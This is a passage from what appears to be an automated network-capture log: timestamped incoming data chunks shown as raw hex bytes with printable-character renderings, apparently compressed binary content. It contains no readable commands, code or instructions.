44 9b 15 55 6e ee ae a7 a7 58 b1 5b f2 f9 42 a1 85 43 0e d5 3a bc 2c 25 81 5c 86 21 b8 33 0c 09 c3 97 Data Ascii: \|42w`//drQHV=o{Ff,d@7GRn_pF{z)=?1\)$"kU%{l<h}/'/e&JV\|nw}IP-oU<'4cS7q2$Hj#~WZ Z7}OOm.$C$WJ\|DUnX[BC:,%\!3
2022-07-20 13:44:18 UTC	5220	IN	Data Raw: b9 a9 5a 0b 9b bd e6 f0 a2 e9 b0 f4 36 f3 b8 c9 73 c0 ed 92 45 48 5b 48 5a 72 db 2f 32 f4 fe d6 b4 1d 87 77 67 30 c7 74 92 63 8b a6 88 29 b9 07 8a eb 79 7b be f6 9b 07 23 6d 2d da 4d 1b c8 17 69 17 9d 6d cb aa e5 8f b6 b9 72 49 ec 54 dc 59 10 ad 4c a8 4d 45 05 0d 38 e8 cc 8b 92 18 51 b8 12 6e a7 d5 fa 75 53 e9 df 43 9d fd 5f a0 82 3e 88 24 bb 13 6b 7d 09 6a dd cd a2 f7 ff 00 41 6e 87 11 73 a6 e9 47 61 01 63 35 ea 11 d8 1d bd df 73 43 69 63 f4 8f ae b9 fe 5a d0 97 8a 46 5f 32 d8 84 1e 33 dd e6 e5 e9 ae 7d 98 8e b1 97 8d 5a d1 4a fd 1a 1b 1f 11 b2 63 79 41 a2 c6 2b 4a 76 ff 00 5f 87 5d 54 7a 17 70 dc 30 96 18 8a 82 e2 85 78 77 a9 dd f3 6a 73 17 d1 d9 c3 12 68 c9 55 28 e5 1a a6 9c 47 7b b3 52 92 46 c8 1d 48 60 47 11 50 7e 5c 53 11 13 09 85 ae d8 f7 1b 9b 92 Data Ascii: Z6sEH[HZr/2wg0tc)y{#m-MimrITYLME8QnuSC_>$k}jAnsGac5sCicZF_23}ZJcyA+Jv_]Tzp0xwjshU(G{RFH`GP~\S
2022-07-20 13:44:18 UTC	5236	IN	Data Raw: 97 ee 69 33 00 24 aa 9e 62 74 5b 71 ca 82 bf 23 c9 11 bc d5 06 5b 64 9d f8 f2 ea a9 54 c4 ca c3 81 b3 44 0c 21 1c ac c2 86 95 f8 bb ba 22 6d b6 69 16 09 25 4e 9a d2 d7 20 d6 45 14 b9 5a 41 fc 3f 72 ed 50 ef 18 bb 86 53 cd 3c c2 ae a8 bd 68 ef 05 e9 18 8c 99 5d 2b f3 23 6b 6f b9 6f f3 6b 3c 0d e3 39 b1 e7 8e 51 29 89 f1 dd 4f 21 35 af 2a f3 53 bb d4 6d 30 9b 68 83 64 72 b8 5c ae dc b7 c7 aa 9f 8f e4 1b 74 fc c3 27 98 aa 11 9a 3c b1 cb c6 b9 7e 1a 9c 3b 4e d9 d1 75 37 c7 22 86 2b 25 d5 fa d5 5e 2a 5a df 67 a7 a1 76 48 71 c8 2f 95 0b ba 52 89 47 b7 8f 89 fb 1b 4f 33 93 34 63 1d b2 61 f9 78 b2 15 48 b9 41 14 bb f1 ae 5e fb f9 ad e6 fe 1e 8b dc 36 18 70 a1 55 c6 73 24 90 5a 84 a9 b8 38 7f c3 e4 b5 5a 1e 6e 57 ff 00 99 a9 9a 36 2a 64 6b e2 0d ec bc aa bf e9 d6 Data Ascii: i3$bt[q#[dTD!"mi%N EZA?rPS<h]+#kook<9Q)O!5Sm0hdr\t'<~;Nu7"+%^ZgvHq/RGO34caxHA^6pUs$Z8ZnW6*dk
2022-07-20 13:44:18 UTC	5252	IN	Data Raw: e3 ae 2a a4 76 fd 75 0f 99 e9 ad ea 19 1a 31 87 34 f1 8e cf 60 27 de 2a dc f6 f9 b5 a7 33 d3 db 8e 5a a3 e2 6d 73 61 64 44 2a e4 31 2a d4 ee ba 5f 73 75 6e d7 40 8b d4 53 0e c7 4f d0 c0 8f fc 35 97 ff 00 25 c8 5e d0 8d f4 10 68 34 65 f9 96 ed 6e 04 51 dc fb ff 00 b5 50 51 09 24 f6 8b 11 51 a9 b8 6e 90 64 22 ee 38 33 cd 2a 8a 19 d8 3d c0 53 ba 15 16 cb 7f 6b 48 7d 7d be 3e 54 50 e2 3a 74 df f1 18 18 d9 1b ca 8b f3 3b c9 ae ac 9e a4 95 09 24 13 51 c0 02 38 1d 22 de 9a 3d f4 91 99 14 72 7d 05 94 5d f7 86 af b3 de 2c 7b 94 9a 48 40 09 e0 7f d5 6a b6 2b 63 cd d9 61 5c 4a 39 6b 4a 9a fd 5a eb 3f ed f6 da fb c6 d8 d8 d1 7c bf 9b 57 96 d6 26 da 77 17 a7 6f 36 83 5f 47 6d c3 83 c2 9c 7e 86 60 7f f1 d5 76 c1 27 fa 06 38 c6 c0 5b 62 0c 5a 9d a6 a7 f4 f3 6b 5b 7f f3 Data Ascii: vu14`'3ZmsadD1_sun@SO5%^h4enQPQ$Qnd"83*=SkH}}>TP:t;$Q8"=r}],{H@j+ca\J9kJZ?\|W&wo6_Gm~`v'8[bZk[
2022-07-20 13:44:18 UTC	5259	IN	Data Raw: 43 09 d5 04 e9 5b 6d 51 1d bd 58 e2 b5 6e 89 59 3f 87 76 95 e4 ec f3 41 5c 39 4a dc c0 15 90 10 ca 53 f1 0c 91 49 e2 4b 53 f7 34 cf 07 d3 f8 79 78 6b 91 8d 34 98 c6 9d 36 bf e6 07 b8 d8 39 63 08 f1 ad df 89 f8 9c 9a 14 53 06 ca 37 ea bb 29 53 ee b3 d0 e6 9e 09 a3 cc f1 47 18 48 83 2c 7b e9 97 7b e1 a4 8f d0 cc 00 1e 59 d4 5b 71 60 16 d3 e6 bb 97 97 4b 66 d9 33 31 e7 38 ce 97 ca 28 43 45 ce ae ad cc 8f 1b 27 87 be bf 63 4e 66 f4 d7 24 b1 c1 93 0c 8f 0b f3 a2 96 ad b5 b6 f8 ef 44 46 54 ef c9 e2 d3 4d bb 73 87 26 49 76 f5 e1 04 51 9b 64 a7 31 29 fc 45 6e f2 f9 fe d6 82 a0 42 a1 f5 57 1a 9f 00 ff 00 15 41 0e b2 0d ce d6 47 18 ff 00 1a 22 39 30 e5 ee b7 8e a6 a0 8b f2 a1 f1 72 cb 42 1a 8a fc bc c3 88 7f c3 7b 34 e3 78 da b6 fc 30 8f 86 e6 50 c8 6a 6b d8 c2 de Data Ascii: C[mQXnY?vA\9JSIKS4yxk469cS7)SGH,{{Y[q`Kf318(CE'cNf$DFTMs&IvQd1)EnBWAG"90rB{4x0Pjk
2022-07-20 13:44:18 UTC	5275	IN	Data Raw: c9 8f da e7 ab 33 33 65 ae ac 08 07 d1 96 35 5d bb fa 9e 43 29 31 80 e9 16 4c 68 92 10 6c a0 e1 23 f9 6e 79 39 57 e1 d6 4b ea c8 b2 b7 5c 8c 4b 96 da 24 68 f5 e5 36 9b a6 fd ad 42 bc eb 3e 3c 5b 64 ec 62 98 a0 92 24 73 c8 0f 95 9b cc cb e6 d6 b8 30 e5 c6 c5 92 45 25 1a 26 e7 72 3d 84 f7 59 bd ff 00 0e 86 bf 2e 87 1c 48 b3 74 af dd fc cf b9 f8 ab a4 91 8f 0d 0b 58 7d 43 2c ab a0 6e de bf 58 32 db 17 09 04 e9 08 ac 85 3b 49 f2 a5 dc bd 35 fe 23 fd cd 34 cb f5 5e df 8f 8f 24 f4 25 a3 21 68 17 b5 88 be d4 f3 5b e3 d7 19 cf cd 92 90 98 63 11 8a 51 a4 01 be 6b 56 f6 63 23 77 97 e1 d3 dc 53 0e 40 9a 2e bf 4c e4 48 1d ee 21 80 23 b6 26 9b 95 ad bb ca bf 7b 4e c1 fe d6 6d d2 8f 25 79 a3 00 ba e5 84 92 2f 8f e9 e2 a6 b6 f1 6e 37 52 11 0a 65 65 0c 53 d8 e6 e6 ae a9 Data Ascii: 33e5]C)1Lhl#ny9WK\K$h6B><[db$s0E%&r=Y.HtX}C,nX2;I5#4^$%!h[cQkVc#wS@.LH!#&{Nm%y/n7ReeS
2022-07-20 13:44:18 UTC	5291	IN	Data Raw: 01 88 56 cc f0 5e 6a b9 d5 6d da 74 ae a9 b4 82 61 c6 c5 b4 34 90 20 22 40 28 a5 4a 1e af d8 e4 47 d5 40 88 e4 e3 ae 1d 79 19 0d 0f d6 87 53 cf b9 b6 06 44 29 65 ff 00 25 81 1d 94 bb cd ee c7 fe 1d 7b bd 66 65 e1 60 e1 65 42 e4 32 92 64 23 8d 0b 7c d5 57 f7 79 b5 e2 a5 8d e5 75 b5 97 33 75 bf 8b 9d be 9e f5 04 11 6e 34 c7 33 13 fd 4f 13 35 a3 00 ca f2 14 42 07 90 05 fd bd 6d da b6 9f c9 f4 a2 0c 48 88 bf 69 a9 25 bb f7 7d cd 69 d8 32 64 e9 c5 8e c2 b1 ca 4b 5c 2b 5b aa 5d ea da 33 03 2c 48 ef 3b 70 00 50 0f d3 c5 b4 bc 86 45 0d 18 3c a0 e9 ff 00 95 5c 4f 6f e8 ad 32 6e 31 e4 f5 3a 4e 44 b6 98 cf 1a 53 8b 48 cd ff 00 4d 74 b1 72 e3 93 05 25 ed 7c dc 8f 94 87 89 11 2b 5a cf fb 72 bf f9 92 69 44 ca 18 cd 13 3a c2 ac d7 19 1b c2 86 fb fa 63 bc d2 3a b5 96 2e Data Ascii: V^jmta4 "@(JG@ySD)e%{fe`eB2d#\|Wyu3un43O5BmHi%}i2dK\+[]3,H;pPE<\Oo2n1:NDSHMtr%\|+ZriD:c:.
2022-07-20 13:44:18 UTC	5296	IN	Data Raw: 1c 0f 0a 57 b0 dd 3b 0e a7 0b 72 56 df d0 14 da df af 76 8d c5 82 4c 76 78 cb 0e aa b3 c8 a4 7d 37 2b ad 3e ce b0 c0 66 c2 38 eb 0d ac 1d f9 b8 54 85 ef 3b 2f c0 bd ed 67 b7 d4 07 74 65 ea 53 94 b7 65 5a d2 cb fb ba 99 49 25 98 5b 13 c0 55 43 10 e1 3b 6c 7e ee 14 2a 43 1a cc b1 a9 24 ce 5c 92 7d 82 95 44 fb da 2f 61 db 8a a3 64 c8 41 ac 92 35 7e ba 5a 3e ef 53 59 c5 87 ff 00 79 0c cb dd 8d 99 58 7d 1c 3a 89 a6 d8 d0 08 f6 e3 6f 0a 4c e4 7d fd 0a 69 ac a1 41 eb b0 3f 7e 8a 01 20 9f 40 ff 00 b6 a7 63 ce 7c 8d ce 25 71 48 d9 e4 5a fd 21 09 e1 fb 3a df b8 c7 3b 44 c3 80 8e 59 04 a4 9e f5 b5 40 ff 00 66 fe 5d 6e 1b 5c 9b 76 41 15 ba 00 5e 60 4d 3b c4 32 59 f6 2e fd 9d 7b bd 46 99 18 f1 4a 58 dc 23 11 05 1e db 80 67 fd 4f d7 d5 b3 53 22 61 6c 6d c6 ab a8 52 06 Data Ascii: W;rVvLvx}7+>f8T;/gteSeZI%[UC;l~*C$\}D/adA5~Z>SYyX}:oL}iA?~ @c\|%qHZ!:;DY@f]n\vA^`M;2Y.{FJX#gOS"almR
2022-07-20 13:44:18 UTC	5312	IN	Data Raw: c6 2e 14 63 ec 40 a4 7e d6 bb cb 0a 75 8b 51 c2 dc d5 d7 a0 57 3f 20 71 a1 53 ed 35 14 fe dd 65 0c 8f 90 d6 aa b1 34 fa 09 3a 31 f7 1d be 48 fa 65 2a 09 ab 0b 41 ec d0 6f 9b 0b 54 e3 a0 43 c3 89 1f fd ed 14 5c f0 42 a6 bb ea a7 30 ed b9 ae a1 18 80 87 8d 19 7b 0d 3e d6 80 c8 8a 7a 13 30 42 29 40 ac 07 dd ae 86 7d c6 70 4a a3 b1 52 3b 18 f1 d0 8b 36 4c 8d 45 ab 8a f6 9f a7 50 91 bf 13 88 fd 15 c3 41 5b 24 28 ed 7c 6a a0 0f 62 9a 7d eb 6d bb 58 bc 97 9b 8f b0 52 bf 56 b5 48 f2 54 89 14 87 ec d6 a1 1d d4 00 d0 76 f1 d3 01 6b 8b 7a 68 89 24 01 83 29 60 6b ec 27 b4 7c 3a ca 37 32 49 74 f4 70 40 a5 5b 88 20 fd 2d a1 e4 2c 9f 86 c9 21 3e d5 6b 87 f8 75 f0 bb da 2b c3 88 ed d1 24 85 e2 38 48 0a 37 85 b9 5a a0 37 68 34 5a e4 3c 2d 58 41 55 24 fb 6b 41 fd 7a de 9b Data Ascii: .c@~uQW? qS5e4:1He*AoTC\B0{>z0B)@}pJR;6LEPA[$(\|jb}mXRVHTvkzh$)`k'\|:72Itp@[ -,!>ku+$8H7Z7h4Z<-XAU$kAz
2022-07-20 13:44:18 UTC	5328	IN	Data Raw: 07 b8 9c 6d d2 66 8b 27 14 e1 ce 7f 15 18 32 a9 7e f5 6f 8d b9 2e ef 7e 0a 2f bf a4 7b e3 61 6d 19 f2 24 d7 4e 03 1b 15 bb ed ff 00 3a 46 e6 e9 a3 78 ae be 4f 05 bd ed 1c 7d 48 de a7 99 20 9c 24 33 aa 14 c7 60 38 54 0e 48 24 bb e6 48 8d 6f 23 34 9c 8f ab 94 43 b6 0d 19 75 0a 03 ae 9c 7c 58 fb bd fa 34 85 de c0 73 37 a2 fc 3d d7 fd 4a dd d0 c7 d9 d9 25 92 65 8c 54 54 13 7d be da fc ab 9d d7 f5 ee e5 6d 6a dd 37 f4 44 59 25 05 a7 9c 92 02 d0 71 ad d7 71 f7 9f 51 7b 9a e5 e3 e4 37 fa 87 0b 56 f5 a7 74 8f 0b 25 34 5e e1 31 26 19 d8 70 8a 3b e9 f5 b7 87 5c 36 6a 4a 33 b6 64 df 98 70 f6 56 b8 5f 87 f7 56 f9 f3 64 fa 6b d3 e1 5f a7 4c f6 d6 ae 04 90 05 26 66 93 a9 75 7c 16 b5 c9 4f 8b 9b ec 79 b4 ab 30 a3 22 b4 5c 63 91 6e 43 f5 1f de 56 e5 6d 16 0c df 91 92 48 Data Ascii: mf'2~o.~/{am$N:FxO}H $3`8TH$Ho#4Cu\|X4s7=J%eTT}mj7DY%qqQ{7Vt%4^1&p;\6jJ3dpV_Vdk_L&fu\|Oy0"\cnCVmH
2022-07-20 13:44:18 UTC	5335	IN	Data Raw: 11 18 e2 53 d3 ef 57 ff d5 e9 b1 65 09 63 b4 10 25 3c ad fa 40 bb f6 75 89 4b 40 60 b7 c4 8c 18 7d 22 bc a6 eb bc 0b 1b 69 4e 0c 02 39 9d 72 1d 5a 20 58 43 14 47 87 31 e7 93 25 5f bf 37 77 c7 a6 30 e7 63 36 42 e2 28 61 2d aa 68 47 02 29 6a f7 b9 1b e1 4e 7d 7c 7d e2 09 d1 cc 2d 91 b7 76 b4 b4 ec e3 58 44 d0 4f 2b 04 04 3d f6 b0 20 7b 39 8d 3f a7 83 42 49 84 31 67 79 52 4a 1b 81 2a c6 82 a7 9a 3b 4d bf 31 9f bb 67 9f 4d 0e d9 13 64 8c c2 1a f5 a8 01 78 0e 22 8d 77 9b dc d6 d9 33 31 a2 fc 43 c4 b2 aa dd ed 27 b9 67 87 50 24 d6 d1 82 d7 1c cb 5c 3f bf b6 91 4d bc e2 c4 1c 4e 8d 02 c6 a6 95 14 25 eb cf d3 fe 65 9f d3 c5 a2 0c cf 9b 14 0f 8a 2f 46 f9 b5 3c 05 1b 95 62 7f 12 bb 5d f6 2d d7 9b c1 c1 9a 9b 84 f1 1c 83 8c c7 a6 2a 78 35 42 dc a9 e3 b5 a3 f8 75 b7 Data Ascii: SWec%<@uK@`}"iN9rZ XCG1%_7w0c6B(a-hG)jN}\|}-vXDO+= {9?BI1gyRJ;M1gMdx"w31C'gP$\?MN%e/F<b]-x5Bu
2022-07-20 13:44:18 UTC	5351	IN	Data Raw: 0d 68 99 0c ce 01 e3 c3 b7 59 a0 30 a3 20 b8 28 3f 4f 0b 9b 85 ca ba c8 1b 24 15 e6 14 a1 03 81 a9 d6 cc a0 d1 87 59 a8 1d bb bc 7f 5b de d1 1c ea 07 61 ec a9 20 71 a1 8c ef 21 20 37 03 ec fd 3a 33 0b a7 14 66 49 14 14 e3 db 4a 12 38 d1 b8 ae 82 c7 ba 32 1d 39 4a b5 39 85 75 88 0b 23 d2 42 6c 1d b4 e3 a1 15 06 eb d9 db 51 7a dc 1e c8 65 02 85 19 4a 9e 1d b5 6e 5e f7 71 b4 7e 32 b3 63 c6 23 6e 2b 1d ad 51 d8 0f 7b e2 5f d7 d0 71 c8 8e a8 c6 a1 10 90 40 02 a4 12 bd 26 fb 36 eb 44 f9 0e d9 01 91 98 a8 1c 2a 7e d7 bb ae 2b 9f 4e 96 25 b5 a8 06 d4 68 85 de 31 c6 e0 94 01 78 0e df 31 fd 9d 79 80 92 44 cd 90 47 05 a9 8c b0 e0 4f b5 95 5b 5a 57 74 71 09 81 79 55 8d 5e 9d a7 c5 fa be 1d 1d 83 b9 29 6e 6e d5 5e 0c dc 78 d2 de 7f dd d0 9b 30 a6 e3 43 d9 ea ab dc 5e Data Ascii: hY0 (?O$Y[a q! 7:3fIJ829J9u#BlQzeJn^q~2c#n+Q{_q@&6D*~+N%h1x1yDGO[ZWtqyU^)nn^x0C^
2022-07-20 13:44:18 UTC	5367	IN	Data Raw: 7e 68 19 41 5b 00 2c 2d 20 f6 8f 64 97 73 24 76 fe b7 82 dd 78 d9 53 4a a6 49 6c 35 e2 b6 51 55 40 15 fc 45 b6 49 39 63 f1 5f cd a1 77 bd a3 23 33 14 62 c2 03 ab 90 c5 c1 e6 b4 15 2c 8b f6 6e 8f 5a 3f d2 72 84 a9 0e 03 20 8e da ca e7 b3 f9 69 62 db cd 2d 91 df 2f 83 c5 e6 d1 91 21 c0 10 55 5b 5b df d0 2a 9c c6 e2 d4 64 d9 f9 25 01 c6 21 d1 14 1b 90 76 03 dd 47 f8 6d 5b 35 a6 09 66 ce 91 fa aa 13 82 dc 24 1d a0 f7 7d f6 d1 f1 6d 86 cb 62 2a b0 8a 5c cb 45 a9 ef 3f 2b dd cb e3 4f e2 27 dd 4d 66 b0 47 69 6e fd 40 b4 13 69 f7 2e 63 f6 79 5f bd aa 79 91 80 42 81 7f 4f 7a b8 c6 dc 4f 0a d1 f9 8c 87 0f 8a d4 ea 22 a8 8d 3b a2 a4 73 71 e5 e4 b7 b9 a0 5f 70 96 27 48 6d 6b 82 dc c5 ab cb 41 ce be 2b 99 59 ee fd 7f 7b 44 e4 c4 d2 e5 46 c1 0c 99 0a 82 40 d5 22 95 f2 Data Ascii: ~hA[,- ds$vxSJIl5QU@EI9c_w#3b,nZ?r ib-/!U[[d%!vGm[5f$}mb\E?+O'MfGin@i.cy_yBOzO";sq_p'HmkA+Y{DF@"
2022-07-20 13:44:18 UTC	5375	IN	Data Raw: fa bc ba 67 ea 68 b6 fd b7 79 93 f2 01 16 19 11 5e a8 f7 2d 7f 77 e1 d7 9b 18 93 d2 a9 2b 7c a3 96 dc 43 94 69 2c 5e c6 6e 5b 63 fd df e6 69 9e 76 f7 87 b8 43 d4 cc 8d 72 72 1a 31 56 7a 90 18 06 8d 3a 31 72 74 53 9a fb 2e f8 93 b9 a0 6d be 59 f3 19 3e 60 25 b7 95 0c 69 65 12 36 39 b7 56 7e 5d 67 c3 bd dd cf bd 49 70 6c 14 31 0a ff 00 96 be 1c aa 66 29 cd 4c be c2 7b 7d 9a 08 4a df 96 2c 6a 79 a8 e3 cc 3d ed 31 69 52 3c 65 52 68 6d b5 aa 7d a3 bb db ee b5 ba 99 9d c9 e0 18 d2 be cd 6d ff 00 4e fb 65 0a 5f 3b dd 88 f4 33 d6 ae f7 77 ca a5 d7 5c 58 5a f4 f6 1c d0 f3 16 55 a4 65 54 16 3c 00 d1 a3 26 18 c1 76 e7 5f 6d 0d 2a 35 2b d6 99 01 62 e1 c5 6b 42 38 fd ed 64 72 1e 41 55 3d 9e cd 36 9b af 2d 48 b6 bc 40 f4 52 69 bf 25 4a b0 f4 e9 54 59 bb 95 a8 7a 3c ac Data Ascii: ghy^-w+\|Ci,^n[civCrr1Vz:1rtS.mY>`%ie69V~]gIpl1f)L{}J,jy=1iR<eRhm}mNe_;3w\XZUeT<&v_m*5+bkB8drAU=6-H@Ri%JTYz<
2022-07-20 13:44:18 UTC	5391	IN	Data Raw: 92 1c 80 54 63 c6 18 44 40 3d cb a3 7f 96 f1 4b cd e4 e5 f8 b5 bf 33 d5 32 66 4e b8 33 99 16 e5 1c 11 43 10 dc fd 49 7a b5 49 2c fb cd a4 59 ca ed 19 cb c3 f9 99 71 00 82 80 9b d0 b7 de 66 8d ae 68 fe 37 f7 75 84 9b d4 be 9b 9e 37 b5 3f 37 1b 03 90 80 df 19 41 fc 1f 0f e1 bb f9 bf 16 ff 00 0d 9a 43 e6 3f ed b9 36 b2 c9 82 87 8e 25 ce 37 63 8d f2 f0 d2 fb bd 94 bb 59 1d 24 e8 5d 43 f8 d5 ba 2a f2 69 a6 c9 fc ae 1b db 72 13 25 af 50 18 52 fe 61 fc c5 ff 00 cd a7 b8 38 38 a8 25 8c 22 16 49 fa aa 94 e1 19 e1 d2 b1 7c bd eb bd ed 73 e6 f5 7e 16 e2 ff 00 9e 81 e6 59 11 8d 11 95 4a 80 45 ed 6f 33 3d bc bf 8a cd cb dc d6 5b 1e e9 9b b7 cd 95 33 12 d0 bf 16 00 b1 21 80 8d 9f be bf 8a fd 5b ba 3c bd 3b 39 3b da f2 72 6c 26 31 9f e5 95 17 c3 a7 27 67 a5 91 8f f6 76 Data Ascii: TcD@=K32fN3CIzI,Yqfh7u7?7AC?6%7cY$]C*ir%PRa88%"I\|s~YJEo3=[3![<;9;rl&1'gv
2022-07-20 13:44:18 UTC	5407	IN	Data Raw: 9b 5c a0 ca d8 2f 60 24 7a cd 2d 36 e1 9e 3c 63 37 3a e2 29 5e 0e 3e 5e 62 f5 63 5b 52 b4 b9 8d a3 fe 3a d8 36 7c f8 59 a6 54 20 2d 4d e0 82 29 e2 64 65 3c df 67 54 19 61 65 ab 00 05 69 68 02 81 40 e5 5e 5f 87 5a 23 8b a6 e8 e4 f0 60 6b fd ba d1 1b 0d 05 d8 de ae bb 6d c3 28 2f a9 a5 19 31 36 5d 2c a2 4e 9d b1 50 8a 9e f3 59 77 ff 00 66 da d5 b5 86 c9 ca 48 e9 e2 e6 fa 87 8b 54 79 b2 63 e4 b9 69 50 49 2d b6 ab f1 af d5 dd 6e 67 5f 06 94 e5 24 b8 b1 54 ce 24 91 cd 59 50 10 01 ef 73 b5 16 f7 75 b3 54 96 23 1b 02 df 77 d0 bf 86 a2 48 e4 16 ca e0 b6 87 e1 a6 db 8c 29 b9 49 6c 24 23 54 f0 63 f4 77 79 57 ee eb e3 83 f9 d8 a3 c5 6b 06 42 ad 95 af 02 01 e4 91 ff 00 e5 fe 1b db e1 b3 53 b8 f9 cd 0b de 78 fd 3a a3 53 26 3a a4 b2 8a 17 a5 41 e3 40 c3 ba cb e7 b7 bf Data Ascii: \/`$z-6<c7:)^>^bc[R:6\|YT -M)de<gTaeih@^_Z#`km(/16],NPYwfHTyciPI-ng_$T$YPsuT#wH)Il$#TcwyWkBSx:S&:A@
2022-07-20 13:44:18 UTC	5415	IN	Data Raw: bb ac 3d a3 cd a3 47 b3 85 50 2f 7b c7 54 db ec 4c 2b e5 83 6b 9d 0f a6 9d 62 63 a6 d5 0f e5 18 50 05 34 65 14 32 13 fc 47 6e f7 d9 d6 58 73 c8 15 28 c5 81 26 8a 4f 28 3d d5 6a 68 50 f2 b2 aa 4c 4b 5a 39 49 ed a7 d7 ad 4e ed 8a 84 28 e7 e2 54 fb 07 f8 b4 ea 22 20 02 da 0e 35 e8 a1 da 43 0c 43 30 0d f8 fb 54 cf 2b 67 db b1 52 64 35 ea ba 8b 61 3c 15 4b 7f 1d 64 5f 0c 7f c3 8f c3 e3 bb 50 32 91 14 ad d4 4e 70 dc 29 ed 35 ef 69 e0 91 e4 9d 64 95 cb 49 5a 12 4f 1a 69 56 74 ca d7 ba 8e 31 b9 23 e1 27 9b fb da c4 f9 94 51 ba 06 4e a1 70 7d 62 bc ff 00 cd 7e 5e 8d 07 9a 82 d2 26 5c 4f 52 f8 68 7c 8c 88 9a 33 23 1b 4d 79 45 38 93 fd db 75 57 e9 89 24 48 0b 46 79 8d 4d 0f bc 2d 66 fb 2b a8 36 94 1a 81 47 56 20 80 78 81 f1 77 7e 1d 3e c0 ca 9a 3c 68 d5 18 ad 05 38 Data Ascii: =GP/{TL+kbcP4e2GnXs(&O(=jhPLKZ9IN(T" 5CC0T+gRd5a<Kd_P2Np)5idIZOiVt1#'QNp}b~^&\ORh\|3#MyE8uW$HFyM-f+6GV xw~><h8
2022-07-20 13:44:18 UTC	5431	IN	Data Raw: d9 58 4b bb e3 02 05 aa 2a 50 8e 36 1f 10 4f 72 ee f4 7f 6b bd ad 89 63 c2 e6 10 01 1d 4b e2 af 5a bb 55 4f 31 76 cb 88 b5 a4 8b 4c 24 c7 c3 4a b2 e1 9e 34 e2 b5 a0 24 91 c7 85 7b f4 d6 50 63 c9 24 6b 6d 0b ad 49 a9 02 da 5b 41 c7 bc da 1a 49 72 31 e7 e9 49 ca e0 1e 3f 57 6d de f2 eb ec 8d c7 af d3 1d da 25 a4 0f d3 aa 2c c8 49 37 20 70 b5 01 80 53 60 78 7a 79 75 a6 71 c6 b0 d5 9e 45 af 7a 8b f5 eb e9 22 8e 42 72 15 bb a7 88 fa 78 70 5d 28 c6 73 7a a9 3c b5 a1 d3 6c c5 18 e8 b0 0e f2 d6 ea 7d 27 4d 24 8a 63 b8 d3 1a 2c 60 b9 fa bf ba b5 62 67 00 c6 39 d0 35 7b a4 54 10 6b a0 77 2c 9e 9e 48 9d 5a d7 b2 af 4f bb fa da d6 b2 59 2a b7 d0 6b ad 4f d1 12 3a e4 73 24 ac 63 63 4e 23 c5 1c 91 fb df b5 dc d6 5e e7 73 94 78 b6 a7 2b a9 a5 7e 61 b9 fe 9e 00 e3 af 3c Data Ascii: XKP6OrkcKZUO1vL$J4${Pc$kmI[AIr1I?Wm%,I7 pS`xzyuqEz"Brxp](sz<l}'M$c,`bg95{Tkw,HZOYkO:s$ccN#^sx+~a<
2022-07-20 13:44:18 UTC	5447	IN	Data Raw: 71 ba 2a 61 c0 24 03 9c 28 a5 7e 92 79 75 13 ce 5e 45 06 ec 4f 1b f6 b5 55 10 2c 6d 6d 39 78 d4 ee 13 63 64 e5 4d 1e 4a 97 e9 47 f2 f8 f0 0d 55 ed 1e 25 b6 fd 18 d9 13 43 88 e9 09 b4 b4 66 ef 80 95 ba 9f ab a9 dc 24 92 1c 8c 83 5a f3 05 e3 ed d1 f9 19 2e 66 bc 9a 12 85 7f ab 46 92 2e 70 01 b8 d0 d8 d7 2f 4e b4 46 df 11 b1 56 b6 ac a6 c5 1f 4d 39 d9 be f7 cb d6 4b 0c bb b6 3e 51 dc 1d 9a 54 54 0c 57 bd 48 f9 5a de 16 bd 88 9d df 15 8f ad 33 e5 33 cd 12 e3 48 b0 b4 2a a8 92 3d 2d 56 fe 63 fb b7 e8 ad a6 53 85 89 d7 92 41 d6 12 87 e3 c4 b0 02 45 7b 7c d7 bb db f6 b5 47 0c 17 cc 1d 44 ae 3e 2e af f0 d4 c6 07 4f f6 9e ca b1 18 ca be 8f 48 87 10 98 d7 03 f6 ae bb 53 90 87 5c 48 fa e7 89 17 b9 3f a3 92 bf 0a 5b ab 52 83 17 66 18 b9 6b 63 1c 78 d6 c3 f4 b1 63 66 Data Ascii: qa$(~yu^EOU,mm9xcdMJGU%Cf$Z.fF.p/NFVM9K>QTTWHZ33H=-VcSAE{\|GD>.OHS\H?[Rfkcxcf
2022-07-20 13:44:18 UTC	5455	IN	Data Raw: 93 f8 be 4e 4f 36 9b fa 7f 33 10 34 98 85 02 f5 a2 26 d2 6a 2a 01 b2 df 8f cb a6 cf 84 db 6f a6 a4 97 0e 12 cf 92 54 39 8d 6b 6c 51 8e 4e ad 9c df 39 93 9b fe 66 9c 96 77 b3 6d d5 4a 99 19 70 61 dd 12 75 37 c3 8d 07 6e 4f 5b 35 fa b8 d4 5c ec 25 66 97 8d d7 12 3e 80 39 85 bf 66 ed 58 6e b9 38 f9 7b 2e d5 8b 8f ca f2 72 b2 fd 69 c9 56 f8 9e 5b f5 15 57 48 0a 29 bc 80 cd c3 db 4f 6e 98 ec 45 a4 6c 69 5b 8d a2 bf d9 56 d5 b7 11 06 0a f7 fe 13 16 51 e9 e4 6a 3a 3d 85 c7 6d 74 68 76 fa 04 5e d1 1a 85 07 f4 0d 0b be 44 b8 2f 87 33 70 55 91 99 8f d4 02 b3 69 ee de 81 91 17 e9 00 9f ec d2 df 5d 43 5c 7c 7f 61 63 28 fe d4 d7 9b 8a 52 77 0a 8c 74 39 7e 16 a2 a0 d6 f5 ca 36 64 c8 dc ff 00 33 bc c8 6d 89 1a c4 5f 61 2e dd df b0 bc cf aa 9d c3 e6 16 03 d8 87 fb 40 d6 Data Ascii: NO634&j*oT9klQN9fwmJpau7nO[5\%f>9fXn8{.riV[WH)OnEli[VQj:=mthv^D/3pUi]C\\|ac(Rwt9~6d3m_a.@
2022-07-20 13:44:18 UTC	5471	IN	Data Raw: c7 dd af 73 d8 c5 b6 43 43 43 45 1f da 1c e9 76 34 00 98 1c f0 5a dc 4f c2 3a 8d fb 1a 7d ba 26 3f e4 54 64 33 00 0a 85 28 2b 5a 2f d6 57 cd a1 a5 96 2c 7d be 27 00 b2 32 b2 0a f0 24 31 64 6e 65 ee f2 5f a3 ed e4 1a 68 4e 4e 6f 6a 6d 93 8d b8 d8 00 6a 2f 31 cb 90 fe d6 24 9f eb d1 d8 58 b1 42 57 aa b7 39 e3 db c0 68 ed a7 1a 2c ec f8 cb 42 3a 11 f1 75 b8 f1 fb 7e 1d 5c 2f a6 f6 27 76 9c 89 d5 18 f2 a5 c0 2a f0 fc 3b e8 ce f7 37 8b 5e a7 6d b5 79 a2 06 35 b8 e1 6b f3 56 9c 1f 29 de 6e e1 12 40 0e 04 b2 e5 7c 7a 69 2e df 8d 1a c6 1d 05 aa 4d 68 